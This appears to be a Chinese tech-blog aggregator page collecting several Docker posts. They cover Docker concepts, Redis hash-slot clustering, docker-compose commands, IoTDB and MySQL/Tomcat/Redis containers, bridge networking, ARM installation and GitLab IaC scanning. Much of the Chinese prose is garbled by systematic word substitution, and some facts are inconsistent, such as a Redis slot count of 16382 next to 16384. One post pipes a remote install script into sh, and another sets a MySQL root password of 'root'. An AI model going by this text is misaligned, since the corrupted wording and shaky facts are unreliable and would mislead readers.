1 前言Docker是一个开源的引擎,能够轻松地为任何利用创立一个轻量级的、 可移植的、自力更生的容器。开发者在笔记本电脑上编译测试通过的容器能够批量地在生产环境中部署,包含VMs (虚拟机)、bare metal、OpenStack 集群和其余根底利用平台。Docker的指标: 提供轻量简略的建模形式;职责的逻辑拆散;疾速高效的开发生命周期;激励应用面向服务的架构,即单个容器运行单个利用。Docker实质上是运行在宿主机上的过程,它通过namespace实现了资源隔离,并通过cgroups实现了资源限度,同时通过写时复制(copy-on-write)实现了高效的文件操作。cgroups是Linux内核提供的一种机制,这种机制能够依据需要把一系列零碎工作及其子工作整合(或分隔)到按资源划分等级的不同组内,从而为零碎资源管理提供一个对立的框架。也就是说,cgroups能够限度、记录工作组所应用的物理资源(包含CPU、memory、IO等),为容器实现虚拟化提供了根本保障,是构建Docker等一系列虚拟化管理工具的基石。 cgroups提供了如下四大性能: 资源限度:cgroups能够对工作应用的资源总额进行限度。优先级调配:通过调配的CPU工夫片数量以及磁盘IO带宽大小,实际上就相当于管制了工作运行的优先级。资源统计:cgroups能够统计零碎的资源使用量,如CPU应用时长等。工作管制:cgroups能够对工作执行挂起、复原等操作。 2 docker与虚拟机 Docker守护过程能够间接与主操作系统进行通信,为各个Docker容器分配资源;它还能够将容器与主操作系统隔离,并将各个容器相互隔离。虚拟机启动须要数分钟,而Docker容器能够在数毫秒内启动。因为没有臃肿的从操作系统,Docker能够节俭大量的磁盘空间以及其余系统资源。 说了这么多Docker的劣势,大家也没有必要齐全否定虚拟机技术,因为两者有不同的应用场景。虚拟机更擅长于彻底隔离整个运行环境。例如,云服务提供商通常采纳虚拟机技术隔离不同的用户。而Docker通常用于隔离不同的利用,例如前端,后端以及数据库,相似一个“沙箱”。 3 docker根底3.1 Docker三大概念和两句口号三大外围概念: 镜像(Image)容器(Container)仓库(Repository)两句口号:Build, Ship and RunBuild once,Run anywhere 3.2 意识Dockerfiledockerfile仅仅是用来制作镜像的源码文件,是构建容器过程中的指令,docker可能读取dockerfile文件,进行指定容器的主动构建。 除了dockerfile这种自定义构建镜像的形式以外,还反对从公共仓库(dockerHub)拉取的形式:https://hub.docker.com/ 、或者基于现有的镜像进行优化docker commi,以下是一个自定义的Dockerfile,以及依据Dockerfile文件构建mytest镜像的过程 from tomcatMAINTAINER yangjianmin@jd.comRUN rm -rf /usr/local/tomcat/webapps/*COPY jhjkhkj.zip /usr/local/tomcat/webappsENV TZ=Asia/ShanghaiRUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 3.3 镜像与分层镜像由多个层组成,每层叠加之后,从内部看来就如一个独立的对象。镜像外部是一个精简的操作系统(OS),同时还蕴含利用运行所必须的文件和依赖包。因为容器的设计初衷就是疾速和玲珑,所以镜像通常都比拟小。镜像能够了解为一种构建时(build-time)构造,而容器能够了解为一种运行时(run-time)构造。以我本地的nginx为例,通过docker image inspect命令查看镜像分层的形式: % docker image inspect nginx:latest[ { "Id": "sha256:605c77e624ddb75e.....9dc3a85", "RepoTags": [ "nginx:latest" ],略过一些内容。。。 "RootFS": { "Type": "layers", "Layers": [ "sha256:2edcec3590a4ec7f40.....41ef9727da6c851f", "sha256:e379e8aedd4d72bb4c.....80179e8f02421ad8", "sha256:b8d6e692a25e11b0d3.....e68cbd7fda7f70221", "sha256:f1db227348d0a5e0b9.....cbc31f05e4ef8df8c", "sha256:32ce5f6a5106cc637d.....75dd47cbf19a4f866da", "sha256:d874fd2bc83bb3322b.....625908d68e7ed6040a6" ] }, "Metadata": { "LastTagTime": "0001-01-01T00:00:00Z" }能够看到,我从远端拉下来的最新的nginx镜像是由六层构造组成的,当咱们拉取镜像时也能够看到分层拉取的记录,为了尽量减少镜像层数,在写Dockerfile时应尽量整合RUN命令,因为每运行一次RUN命令,层数就会加1。 ...

August 24, 2022 · 2 min · jiezi

关于docker:系统学习DockerRedis哈希槽分区进行亿级数据存储

1.如何设计亿级数据的缓存2.哈希取余分区3.一致性哈希算法分区4.哈希槽分区5.Redis集群哈希槽分区配置6.哈希槽分区主从容错迁徙7.哈希槽分区主从扩容8.哈希槽分区主从缩容 1.如何设计亿级数据的缓存 假如咱们当初要设计一个存储案例,这个存储要能包容1~2亿条数据,请问如何设计这个存储案例? 咱们晓得单台的redis可能无奈存储这么多的数据量,这个时候咱们就要应用redis集群进行分区存储,然而redis集群对于这么多的数据,个别有以下三种算法进行数据的保留: 1.1)哈希取余分区 1.2)一致性哈希算法分区 1.3)哈希槽分区 2.哈希取余分区 哈希取余分区存储是比较简单的一种操作,简直看图就能够明确: 原理:假如咱们要存储两亿的数据,咱们当初有三台reids形成一个集群,咱们在存储/写入一个key的时候,用户每次读写操作都是依据公式:hash(key)%N个机器节点数,计算取出哈希值,用来决定数据映射在哪一个节点上。 长处:实现简略,只须要预估好redis节点个数,就能保障一段时间的数据撑持。应用hash算法和取余能让数据落到对应的服务器上,这样每台服务器都能解决一部分申请,达到了负载平衡+分而治之的作用。 毛病:因为一开始进行设计的时候,对redis的节点就进行了确定,进行扩缩容会比拟麻烦,不论是扩容还是缩容,每次数据节点的变动,都会导致所有的数据须要从新计算映射,在服务器节点永远不发生变化的时候没有问题,如果要弹性扩缩容或故障停机的状况,取模公式就会发生变化。某个redis机器宕机了,因为台数数量变动,会导致hash取余全副数据从新洗牌。 3.一致性哈希算法分区一致性哈希算法在1997年由麻省理工学院提出,设计目标是为了解决分布式缓存因为节点台数发生变化的时候,尽量减少影响客户端的数据到服务端的映射变动。 原理:先要构建一致性哈希环: 它也是应用取模的办法,后面的redis集群哈希取余分区的取模办法是对节点(服务器)的数量进行取模。而一致性Hash算法是对2^32取模,将整个哈希值空间组织成一个虚构的圆环,这个汇合能够成为一个hash空间[0,2^32-1],这是一个线性空间,在算法中,咱们会通过适当的逻辑将它首尾相连(0 = 2^32),这样就让它在逻辑上造成了一个环形空间,咱们把这个由2^32个点组成的圆环称为Hash环。 而后是节点映射: 将集群中的节点映射到环上的某一个地位。 将各个服务器应用Hash进行一个哈希,具体能够抉择服务器的IP或主机名作为关键字进行哈希,这样每台机器就能确定本人在哈希环上的地位。如果4个节点NodeAB、C、D,通过IP地址的哈希计算,应用IP地址哈希后在环空间的地位如下: key到服务器的落键规定: 当咱们要存储一个kv键值对的时候,首先要计算key的hash值,通过这个哈希值计算出这个key在环上的地位,从此地位沿着顺时针“行走”,第一台遇到的服务器就是其要保留key的服务器,并将该key保留在该节点上。 如咱们有Object A、Object B、Object C、Object D四个数据对象,通过哈希计算后,在环空间上的地位如下:依据一致性Hash算法,数据A会被定为到Node A上,B被定为到Node B上,C被定为到Node C上,D被定为到Node D上。 长处: 一致性哈希算法的容错性佳:假如当初的Node C宕机,咱们能够看到ABD原有的数据不受影响,只有C对象被从新定位到Node D。个别在一致性hash算法中,某一台服务器不可用,受到影响的仅仅是hash环中的宕机这个节点与前一台服务器之间的数据,其它并不会受到影响,假如C挂了,受影响的是B、C之间的数据,并且这些数据会挪动到D。 一致性哈希算法的扩展性佳:假如数据量减少了,须要减少一个节点,这个节点减少在A和B之间,那受到影响的只是A到X之间的数据,从新把A到X的数据写到X上即可,不须要全副从新计算。 毛病: 一致性哈希算法有数据歪斜问题: 一致性哈希算法在服务器节点太少的时候,容易因为节点的调配不平均而导致数据的歪斜,被缓存的key大部分都集中在一台服务器上: 4.哈希槽分区 通过后面的介绍,咱们晓得一致性hash算法有数据歪斜的问题,那么为了解决这种问题,咱们有了hash槽分区算法。 原理:哈希槽本质就是一个数组,数组[0,2^14 -1]造成hash slot空间。 它能解决平均调配的问题,在数据和节点中又退出了一层,咱们把这层称为哈希槽(slot),用于治理数据和节点之间的关系,当初就相当于节点上放的是槽,槽里放的是数据。 解决的问题: 槽解决的是粒度问题(能够挪动数据),相当于把粒度变大了,这样便于数据挪动。哈希解决的是映射问题(也就是能够控制数据歪斜问题),应用key的哈希值来计算所在的槽,便于数据调配和调配。 redis一共有多少个hash槽?一个集群只能有16382个槽(起因会在上面解释),这些槽会调配给集群中所有的主节点,调配策略没有要求,能够指定哪些编号的槽调配给哪些节点,集群会记录节点和槽的对应关系。解决了节点和槽的关系当前,接下来就须要对key进行哈希求值,而后对16384取余,余数是几,key就落入对应的槽位。slot = CRC16(key) % 16384。以槽为单位挪动数据,因为槽的数目是固定的,解决起来比拟容易,这样数据挪动问题就解决了。 为什么redis只能有16384个槽?实践上CRC16算法能够失去2^16个数值,其数值范畴在0-65535之间,也就是最多能够有65535个虚构槽,取模运算key的时候,应该是CRC(key)%65535;然而却设计为crc16(key)%16384,起因是作者在设计的时候做了空间上的衡量,感觉节点最多不可能超过1000个,节点数量越多,节点间通信的老本越大(节点间通信的音讯体内容越大,具体是音讯头中携带的其余节点信息越大),为了保障节点之间通信效率,衡量之下所以采纳了2^14个哈希槽。 哈希槽的计算形式: 上述提过,Redis集群中内置了16384个哈希槽,redis会依据节点数量,将大抵平衡的哈希槽调配到对应的节点上。当须要在 Redis 集群中搁置一个 key-value时,redis 先对 key 应用 crc16 算法算出一个后果,而后把后果对 16384 求余数,这样每个 key 都会对应一个编号在 0-16383 之间的哈希槽,也就是映射到某个节点上。如下代码,key之A 、B在Node2, key之C落在Node3上 ...

August 21, 2022 · 2 min · jiezi

关于docker:在Docker中快速启动Mongo-DB

拉取mongodb的官网镜像:docker pull mongo:latest创立容器:docker container run -d -p 27017:27017 --name myMongo mongo:latest在命令行中,-d示意容器作为后盾过程运行;-p示意将主机的27017端口映射到容器的27017端口,也能够指定其余的主机端口;--name指定容器名称;最初一个参数指明应用的镜像文件名。如果容器创立胜利,能够通过命令 docker container ls查看所用运行的容器,输入后果相似于上面:关上MongoDB shell首先运行命令: docker exec -it myMongo bash, 在容器中关上shell窗口;运行胜利后能够看到命令提醒产生了变动;接下来运行mongo 命令就能够间接进入mongoDB的javascript shell 了,通过输出mongo DB相干的命令确认数据库运行失常, 显示成果如下:对于mongoDB的相干技术这里就不在赘述了~

August 21, 2022 · 1 min · jiezi

关于docker:dockercompose常用命令

文档地址:官网文档:https://docs.docker.com/compo... 我在3A服务器上测试命令并编写文档 docker-compose [-f <arg>...] [options] [COMMAND] [ARGS...]局部命令选项如下: -f,–file:指定应用的 Compose 模板文件,默认为 docker-compose.yml,能够屡次指定,指定多个 yml;-p, --project-name:指定工程名称,默认应用 docker-compose.yml 文件所在目录的名称;-v:打印版本并退出;–log-level:定义日志等级(DEBUG, INFO, WARNING, ERROR, CRITICAL)。helpdocker-compose -help查看帮忙。 configdocker-compose config -q验证docker-compose.yml文件。当配置正确时,不输入任何内容,当配置谬误时,输入错误信息。 pulldocker-compose pull拉取服务依赖的镜像。 拉取工程中所有服务依赖的镜像docker-compose pull 拉取工程中 nginx 服务依赖的镜像docker-compose pull nginx 拉取镜像过程中不打印拉取进度信息docker-compose pull -qupdocker-compose up创立并启动所有服务的容器。指定多个yml加-f选项。以守护过程模式运行加-d选项。 前台启动docker-compose up 后盾启动docker-compose up -d -f 指定应用的 Compose 模板文件,默认为 docker-compose.yml,能够屡次指定,指定多个 ymldocker-compose -f docker-compose.yml up -d logsdocker-compose logs查看服务容器的输入日志。默认状况下,docker-compose将对不同的服务输入应用不同的色彩来辨别。能够通过--no-color来敞开色彩。 输入日志,不同的服务输入应用不同的色彩来辨别docker-compose logs 跟踪日志输入docker-compose logs -f 敞开色彩docker-compose logs --no-color psdocker-compose ps列出工程中所有服务的容器。 列出工程中所有服务的容器docker-compose ps 列出工程中指定服务的容器docker-compose ps nginxrundocker-compose run在指定服务容器上执行一个命令。 ...

August 19, 2022 · 1 min · jiezi

关于docker:Linux-MacBook-Docker安装IoTDB及使用

IotDB解压装置InfluxDB和IotDB介绍与性能比照 IotDB官网下载地址 IotDB官网文档地址 IotDB是Java开发的,运行须要装置JDK,装置oracle JDK, 不倡议应用自带的openJDK #解压unzip apache-iotdb-0.11.2-SNAPSHOT-bin.zip #进入主目录cd apache-iotdb-0.11.2-SNAPSHOT#启动 (前台启动)sbin/start-server.sh #nohup后盾启动,输入启动日志到nohup.log文件nohup sbin/start-server.sh >> nohup.log 2>&1 &#nohup后盾启动,不输入启动日志nohup sbin/start-server.sh >/dev/null 2>&1 &#进行sbin/stop-server.sh终端连贯IotDB#以前的IotDB旧版本 0.9.x以下版本 连贯sbin/start-client.sh#新的版本IotDB >=0.10.x的版本连贯, 默认连贯本地IP和6667端口sbin/start-cli.sh#和下面的命令等同sbin/start-cli.sh -h 127.0.0.1 -p 6667 -u root -pw root#近程连贯其余IotDBsbin/start-cli.sh -h 192.168.130.1 -p 6667 -u root -pw rootdocker装置IotDB#docker启动docker run -d -p 6667:6667 -p 31999:31999 -p 8181:8181 --name some-iotdb apache/iotdb#进入容器docker exec -it some-iotdb /bin/bash#执行命令,连贯IotDBstart-cli.sh阐明:6667: RPC port31999: JMX port8181: Monitor port5555: Data sync port9003: internal metadata rpc port (for cluster)40010: internal data rpc port (for cluster) ...

August 18, 2022 · 1 min · jiezi

关于docker:Dock窗口预览DockView-Mac

还在寻找一款好用的Dock窗口预览工具吗?明天小编给大家带来了DockView for Mac窗口预览工具,DockView是一个实用程序,可在macOS Dock中增加所选应用程序窗口的预览。您只须要将鼠标移到其图标,就会显示其所有窗口的缩略图。通过单击您须要的那个,您将立刻转到它。通过窗口缩略图,您能够疾速敞开,放大和治理窗口。 Dock窗口预览DockView Mac

August 16, 2022 · 1 min · jiezi

关于docker:Docker网络虚拟化-Bridge模式

容器技术是最近几年最风行的技术之一,将程序所依赖的环境打包成一个镜像文件,并能够跨平台部署,真正做到了一次编译,处处运行,对研发和运维体系都产生了微小的影响。 01 开篇某天一元戎网络萌新正在学习Docker容器,他看见书上有段这样形容:通过Docker镜像能够将运行环境固化,但最终运行的时候还须要运行时的隔离技术,一种是空间的隔离,另一种是资源的隔离。先说一下空间的隔离,每一个容器都有本人独立的命名空间,次要包含网络命名空间...... 萌新:“嗯?是对每个容器的网络环境进行隔离吗?是怎么实现的呢?”萌新考虑一阵子后——萌新:“算了,想不明确,找波哥问问去” 02 Docker的网络计划此时的波哥正在家里悠闲逛着Stack Overflow,忽然电话响起。 萌新:“喂!波哥,在干嘛呢?问你些小问题。”波哥:“正在养生冲浪呢,啥问题你说。”萌新:“就想找你理解下Docker的网络计划,我家断网了!”波哥:“好吧,那我给你讲讲吧!” Docker的默认网络模式能够分为:Host 模式、Bridge 模式或者 None 模式。 Host 模式就是和宿主机共享协定栈,那么就能够在容器外面看到宿主机的网络 IP 等信息,能够通过 localhost 拜访宿主机下面的服务。这里须要留神下,在容器内启动服务须要防止和宿主机的端口抵触。 None 模式是不连贯网络的,这个次要有两个用处——a. 是有些业务场景,容器是不须要联网的,例如一些本地批处理工作等;b. 是能够让用户本人增加网络,用户能够通过 ovs-docker 等工具为容器自定义网卡。 而 Bridge 模式是Docker的默认网络模式,也是最罕用的模式,这种模式下的容器会被调配一个172.17.0.0/16网段的IP。并且容器和主机/其余Bridge模式容器能够相互拜访,容器也能拜访外网,然而外网不能间接拜访容器。 萌新:“那Bridge模式是怎么实现的呢?” 03背景常识波哥:“你理解过Network Namespace、veth、linux的bridge模块、Netfilter...吗?”萌新:“没有诶,这是啥?”波哥:“好吧,那给你讲Bridge模式实现原理前,得先给简略介绍下这几个前置知识点啦!” Network NamespaceNetwork Namespace 是linux内核提供的一种资源隔离机制,它能创立多个隔离的网络空间,它们有单独的网络栈信息。不论是虚拟机还是容器,运行的时候好像本人就在独立的网络中。咱们能够应用 ip netns 去治理namespace,例如能够应用 ip netns add 去创立一个namespace,被创立的network namespace 会呈现在 /var/run/netns 下;应用 ip netns ls 查看 /var/run/netns 下现有的namespace,如果须要治理其余不是 ip netns 创立的namespace,只有在这个目录下创立一个指向network namespace文件的链接就行。(例如你会发现容器所在的network namespace就无奈间接治理,如果想晓得如何去治理容器的network namespace 请持续往后看)... (点击查看大图) Veth有了不同 Network Namespace 之后,也就有了网络的隔离,然而如果它们之间没有方法通信,也没有理论用途。那不同的Network Namespace之间是如何通信的呢?Linux内核也提供了一种非凡的网络接口设施:Veth,Veth接口是成对创立,在一端收回的报文会在另一端收到,相当于一根网线的两端。那么就能够把一对Veth别离放在两个Network Namespace中,通过报文转发来实现不同Network Namespace之间的通信。 (点击查看大图) Linux的Bridge模块Veth pair 能够实现两个Network Namespace之间的通信,然而当存在多个Network Namespace须要通信时,它就只能干看着了,期待一个linux中叫做Bridge的大哥去解决了。Linux Bridge(网桥)是工作于二层的虚构网络设备,性能相似于物理的交换机。它是一类网络接口,能够把其余网络接口退出到bridge接口中。同属一个Bridge的接口相当于接入同一个二层交换机,能够进行二层报文的转发。假如创立了一个Bridge接口br0,应用veth pair把eth0、eth1、eth2和br0连接起来,那么eth0收到的报文不会进入协定栈,而是在br0内进行报文转发,因而退出到Bridge内的接口所设置的ip是不起作用的,而br0接口收到的报文是会进入协定栈的,因而能够设置br0的ip地址。 (点击查看大图) Netfilter理解了上述内容,咱们曾经大略晓得了不同Network Namespace大抵的通信原理。那它们拜访外网呢?这里咱们还须要去理解一套linux内核机制 -- Netfilter。Netfilter是linux内核中的对报文转发进行管制的一套机制,能在报文转发门路上不同的工夫点对报文进行不同的管制。工夫点包含 接管报文进入协定栈进行路由前(NF_IP_PRE_ROUTING) 、 接管报文路由后果是本地(NF_IP_LOCAL_IN) 、 接管报文路由后果是转发(NF_IP_FORWARD) 、 本机发送的报文进行路由之前(NF_IP_LOCAL_OUT) 、 路由后要来到本机的报文(NF_IP_POST_ROUTING) ,对报文的管制包含转发,抛弃,nat地址转换,批改报文等行为。Netfilter的性能十分复杂和弱小,能对报文转发实现灵便的管制,是Linux下很多防火墙实现的根底。 ...

August 15, 2022 · 1 min · jiezi

关于docker:Docker搭建本地开发环境MacOS

为什么要应用dockerDocker是一个用于开发,公布和运行应用程序的开放平台。 在进行软件开发的过程中,咱们时常会面临一个问题:咱们只有一套零碎环境的开发机,然而咱们开发的软件却须要在不同的零碎环境中运行和测试。这就导致咱们须要不同的机器来进行测试,以确保软件在各个环境中运行失常。 docker能够让不同的零碎环境以独立的过程,运行在同一台机器上,让一台机器就能够实现所有零碎环境下的测试和运行。因为docker与虚拟机的原理有着实质的不同,docker无奈运行除本机具备的其余指令集架构(x86-64的机器上无奈运行arm64的程序),肯定水平限度了docker的应用场景,但同时,docker能够以低成本,低资源占用的形式,运行更多的零碎环境。正是这些劣势,让docker在自动化测试,云原生中占据着巩固的位置。 回到本文,作者之所以想写这篇文章,次要是为了介绍如何在MacOS上搭建开发环境。毕竟MacOS与支流Linux发行版仍然有着不少差异,而作为一个软件开发工程师,大部分工夫是须要为Ubuntu,Centos这些Linux发行版开发软件,因而很有必要在MacOS上搭建其余零碎的开发环境。而Docker无疑是十分适合的抉择。闲话少叙,咱们间接进入正题。 应用docker运行其余零碎环境镜像操作系统分为内核和用户空间。对于 Linux 而言,内核启动后,会挂载 root 文件系统为其提供用户空间反对。而 Docker 镜像(Image),就相当于是一个 root 文件系统。 容器容器的本质是过程,但与间接在宿主执行的过程不同,容器过程运行于属于本人的独立的 命名空间。因而容器能够领有本人的 root 文件系统、本人的网络配置、本人的过程空间,甚至本人的用户 ID 空间。 容器和镜像的相干操作在理论工作中,咱们往往先拉去镜像,而后生成一个容器实例,而后运行容器实例,进行一系列的工作: # 查问pull相干帮忙docker pull --help# the basic format is 'docker pull [option] [Docker Registry address[:port]/]repository[:tag]'# examples# pull Ubuntu image# pull the latest Ubuntu. If the Docker Registry address is not provided, the default address is set.docker pull ubuntu# pull Ubuntu 18.04. The repository name is ubuntu, and the tag is 18.04, the Docker Registry address and its port are the default.docker pull ubuntu:18.04# list all available imagedocker image ls# run helpdocker run --help# Run the image ubuntu:18.04 with option '-i' and 't'.# '-i' means run the image with interaction.# '-t' means run the image with terminal.# After exitting the container, delete the container.docker run -it --rm ubuntu:18.04 bash# After exitting the container, leave the container in the system.docker run -it [imagename] bash# or run image in the background.docker run -d [imagename] /bin/sh当咱们运行完一个镜像之后,也就生成了一个相应的容器(container),这个容器就是能够认为是一个保存起来的零碎状态,咱们对镜像的所有操作产生的影响,都保留在这个容器中。当咱们须要持续工作时,咱们不能运行镜像(这意味着运行一个全新的零碎),而是要启动容器,持续进行工作。 ...

August 15, 2022 · 2 min · jiezi

关于docker:华为云arm架构安装Docker

在线装置Docker 形式一#查看Linux内核版本uname -r 4.18.0-80.7.2.el7.aarch64#或者应用 uname -a#下载docker装置脚本curl -fsSL get.docker.com -o get-docker.sh#执行脚本装置docker,它会查看环境并装置相应版本sh get-docker.sh#查看docker版本docker version#查看docker信息docker info在线装置Docker 形式二#查看Linux内核版本uname -r 4.18.0-80.7.2.el7.aarch64#或者应用 uname -a#列出机器docker可装置的版本yum list docker-ce --showduplicates | sort -r#报错如下:Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fastError: No matching Packages to list * updates: mirrors.bfsu.edu.cnLoaded plugins: fastestmirror * extras: mirrors.bfsu.edu.cn * epel: mirrors.bfsu.edu.cnDetermining fastest mirrors * base: mirrors.bfsu.edu.cn ###配置docker源#装置yum-utils工具yum install -y -q yum-utils#增加docker源yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo#在次执行, 列出机器docker可装置的版本yum list docker-ce --showduplicates | sort -r#输入如下:Loading mirror speeds from cached hostfileLoaded plugins: fastestmirrorInstalled Packagesdocker-ce.aarch64 3:20.10.6-3.el7 docker-ce-stable docker-ce.aarch64 3:20.10.6-3.el7 @docker-ce-stabledocker-ce.aarch64 3:20.10.5-3.el7 docker-ce-stable docker-ce.aarch64 3:20.10.4-3.el7 docker-ce-stable docker-ce.aarch64 3:20.10.3-3.el7 docker-ce-stable docker-ce.aarch64 3:20.10.2-3.el7 docker-ce-stable docker-ce.aarch64 3:20.10.1-3.el7 docker-ce-stable docker-ce.aarch64 3:20.10.0-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.9-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.8-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.7-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.6-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.5-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.4-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.3-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.2-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.15-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.14-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.1-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.13-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.12-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.11-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.10-3.el7 docker-ce-stable docker-ce.aarch64 3:19.03.0-3.el7 docker-ce-stable docker-ce.aarch64 3:18.09.9-3.el7 docker-ce-stable docker-ce.aarch64 3:18.09.8-3.el7 docker-ce-stable docker-ce.aarch64 3:18.09.7-3.el7 docker-ce-stable docker-ce.aarch64 3:18.09.6-3.el7 docker-ce-stable docker-ce.aarch64 3:18.09.5-3.el7 docker-ce-stable docker-ce.aarch64 3:18.09.4-3.el7 docker-ce-stable docker-ce.aarch64 3:18.09.3-3.el7 docker-ce-stable docker-ce.aarch64 3:18.09.2-3.el7 docker-ce-stable #装置最新版本的docker,或者上面装置指定版本的dockeryum install docker-ce#装置指定版本的docker docker-ce-3:20.10.6-3.el7.aarch64yum install docker-ce-3:20.10.6-3.el7.aarch64#查看docker版本docker version#查看docker信息docker info配置Docker开机自启动服务#启动Dockersystemctl start docker#查看docker启动状态systemctl status docker#查看启动中的容器docker ps#设置开机自启动systemctl enable docker.service#查看docker开机启动状态 enabled:开启, disabled:敞开systemctl is-enabled docker.serviceDocker配置镜像仓库#创立docker配置文件mkdir /etc/dockervim /etc/docker/daemon.json daemon.json 文件内容如下: ...

August 12, 2022 · 1 min · jiezi

关于docker:系统学习Docker容器安装TomcatMySQLRedis

1.Docker运行容器整体步骤2.Docker装置Tomcat3.Docker装置MySQL4.Docker装置Redis 1.Docker运行容器整体步骤要通过docker运行容器,咱们个别都须要以下几个步骤: 搜寻镜像拉取镜像查看镜像启动镜像进行容器移除容器 接下来咱们将应用docker启动Tomcat,Mysql,Redis来练习Docker。 2.Docker装置Tomcat 搜寻Tomcat镜像 docker search tomcat 拉取镜像 docker pull tomcat 查看镜像 docker images 启动镜像Tomcat镜像,创立容器实例 docker run -it -p 8080:8080 tomcat 同时,咱们要开启主机8080的端口,让咱们的win能够拜访: firewall-cmd --zone=public --add-port=8080/tcp --permanentfirewall-cmd --reload 咱们拜访Tomcat: 这里是tomcat10的一个坑,咱们要把webapps移除,而后再把webapps.dist改成wepapps,能力失常显示: 进入容器并批改文件目录: 重启容器: 再次拜访: 胜利装置tomcat。 3.Docker装置MySQL 搜寻MySQL镜像: docker search mysql 拉取镜像 docker pull mysql 查看镜像 docker images 启动镜像 docker run -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root mysql 咱们把3306端口关上: firewall-cmd --zone=public --add-port=3306/tcp --permanentfirewall-cmd --reload 用navicat连贯: 不过这里的数据还是没有长久化,咱们将在前面的docker搭建mysql主从复制中讲解。 4.Docker装置Redis ...

August 12, 2022 · 46 min · jiezi

关于docker:Docker发布镜像时报错的解决办法

Docker公布镜像时报错denied: requested access to the resource is denied解决办法 我的版本是centos7,租的3A服务器 当docker push时报如下谬误: denied: requested access to the resource is denied 存在两种可能性: docker未登录解决办法:docker login如果曾经登陆了还是报错,应将镜像改到本人账户名下解决办法: 1.先列出所有镜像 docker images 2.将要公布的镜像改到本人账户名下。 例:我的账户名:aaaa 我的镜像:docker_name docker tag docker_name aaaa/docker_name 3.再次公布镜像 docker push aaaa/docker_name 胜利解决。

August 12, 2022 · 1 min · jiezi

关于docker:DevSecOps|极狐GitLab-IaC-安全扫描保障云原生安全

极狐GitLab 在 14.5 中引入了基础设施即代码(Infrastructure as code,即 IaC)的平安扫描性能。次要针对 IaC 配置文件中的已知破绽进行扫描。目前反对的配置文件类型有 Ansible、Dockerfile、Kubernetes 以及 Terraform 等。 极狐GitLab IaC 平安扫描性能目前 IaC 扫描在极狐GitLab SAST 性能上面,应用形式也很简略,只须要在 CI/CD 中退出如下代码即可应用: include: - template: Security/SAST-IaC.latest.gitlab-ci.yml应用极狐GitLab IaC 扫描性能用 IaC 扫描性能进行 Dockerfile 扫描应用云原生时代,保障容器镜像平安分几步?中的 Dockerfile 来进行扫描。Dockerfile 内容如下: FROM golang:1.12.9-alpine3.9 as builderWORKDIR /tmpCOPY main.go /tmpRUN go build main.goFROM alpine:latestWORKDIR /usr/src/app/RUN addgroup -S jh && adduser -S devsecops -G jhCOPY --from=builder --chown=devsecops:devsecops /tmp/main /usr/src/app/USER devsecopsCMD ["./main"]将上述 Dockerfile 托管到极狐GitLab SaaS 的 Repo 上,并在仓库中增加 .gitlab-ci.yml 文件写入 IaC 平安扫描的内容: ...

August 11, 2022 · 1 min · jiezi

关于docker:系统学习DockerDocker容器数据卷

1.Docker容器数据卷是什么2.Docker容器数据卷的应用 1.Docker容器数据卷是什么 咱们在应用docker启动mysql的时候,mysql的数据是默认保留在docker外面的,如果不进行长久化,容器重启之后数据就会隐没,这个时候咱们就须要长久化,将docker内的数据保留进宿主机的磁盘中。 数据卷设计的目标就是数据的长久化,齐全独立于容器的生存周期,因而Docker不会在容器删除时删除其挂载的数据卷。 数据卷的特点:1:数据卷可在容器之间共享或者重用数据。2:数据卷中的更改能够间接实时失效。3:数据卷中的更改不会蕴含在镜像的更新中。4:数据卷的生命周期始终继续到没有容器应用它为止。 2.Docker容器数据卷的应用 命令: docker run -it --privileged=true -v /宿主机绝对路径目录:/容器内目录 镜像名这里加上--privileged=true的起因是:CentOS7平安模块会比之前零碎版本要更强一点,不平安的会被禁止,所以目录挂载的状况会被默认为不平安的行为,如果咱们要开启挂载,要应用--privileged=true命令,应用该参数,container内的root领有真正的root权限,否则,container内的root只是内部的一个普通用户权限。 演示: sudo docker run -it --privileged=true -v /usr/local/test:/usr/local/test:rw ubuntu查看数据卷是否挂载胜利: docker inspect 容器ID 宿主机启动,进入容器: 宿主机创立文件: 容器前后区别: 挂载的读写规定: 读写:容器对该文件可读可写 docker run -it --privileged=true -v /宿主机绝对路径目录:/容器内目录:rw 镜像名只读:容器实例外部被限度,只能读取不能写 docker run -it --privileged=true -v /宿主机绝对路径目录:/容器内目录:ro 镜像名数据卷的继承和共享:命令: docker run -it --privileged=true --volumes-from 父类容器 --name 新容器名 镜像名演示: 先启动第一个容器: sudo docker run -it --privileged=true -v /usr/local/test:/usr/local/test:rw --name u1 ubuntu再启动第二个容器: ...

August 10, 2022 · 1 min · jiezi

关于docker:Docker使用基本命令

根底罕用应用命令根本命令docker version docker版本docker info docker信息docker --help docker命令帮忙 容器命令依据镜像新建并启动容器docker run -d -p {宿主机端口}:{容器端口} -v {宿主机文件门路}:{容器文件门路} --name {容器名别名} {镜像名}:{镜像版本} -d: 后盾运行-p:端口映射-v:文件门路映射--name :容器命名列出以后所有正在运行的容器docker ps列出所有容器docker ps -a启动容器docker start {容器id/容器名}重新启动容器docker restart {容器id/容器名}进行容器docker stop {容器id/容器名}强制进行容器docker kill {容器id/容器名}删除容器docker rm {容器id/容器名}强制删除容器docker rm -f {容器id/容器名}查看容器日志docker logs -f -t --since --tail {容器id/容器名} eg : docker logs -f -t --since="2022-02-28" --tail=10 redis-f: 实时查看日志-t : 显示日志工夫--since="2022-02-28" : 只输入2022-02-28及其之后的日志--tail=10:查看最初10条日志查看容器内运行的过程docker top {容器id/容器名}进入到容器内docker exec -it {容器id} bash将容器内文件拷贝到宿主机docker 